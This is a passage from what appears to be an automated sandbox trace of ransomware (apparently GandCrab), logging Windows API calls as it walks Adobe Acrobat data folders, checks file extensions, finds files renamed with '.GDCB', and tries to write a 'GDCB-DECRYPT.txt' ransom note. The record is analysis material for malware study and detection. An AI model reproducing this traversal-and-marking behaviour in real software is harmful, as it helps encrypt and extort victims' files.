Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.161] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e98 [0170.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.161] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 190 [0170.162] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 190 [0170.162] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 189 [0170.162] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 189 [0170.162] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 177 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.162] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 193 [0170.162] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 198 [0170.162] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.162] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.162] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.162] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 188 [0170.162] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.162] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.163] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.163] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.163] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 191 [0170.163] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.163] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.163] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.163] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.163] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 190 [0170.163] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.163] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.163] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.163] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.163] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 189 [0170.163] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.164] GetLastError () returned 0x50 [0170.164] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.165] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 172 [0170.165] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.165] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.165] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.165] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.165] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.165] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.165] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.165] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.165] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.165] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.165] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.165] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 190 [0170.165] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 190 [0170.165] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.165] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.165] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.165] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.165] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.165] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.165] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 190 [0170.165] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 190 [0170.166] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.166] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.166] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.166] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.166] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.166] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 189 [0170.166] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 189 [0170.166] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.166] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.166] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.166] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.166] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.166] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 189 [0170.166] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 189 [0170.166] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.166] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.166] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.166] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.167] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.167] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0170.167] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.167] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.167] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 178 [0170.167] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.167] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.168] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.168] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.168] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.168] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.168] lstrcmpW (lpString1="AcroFnt15.lst", 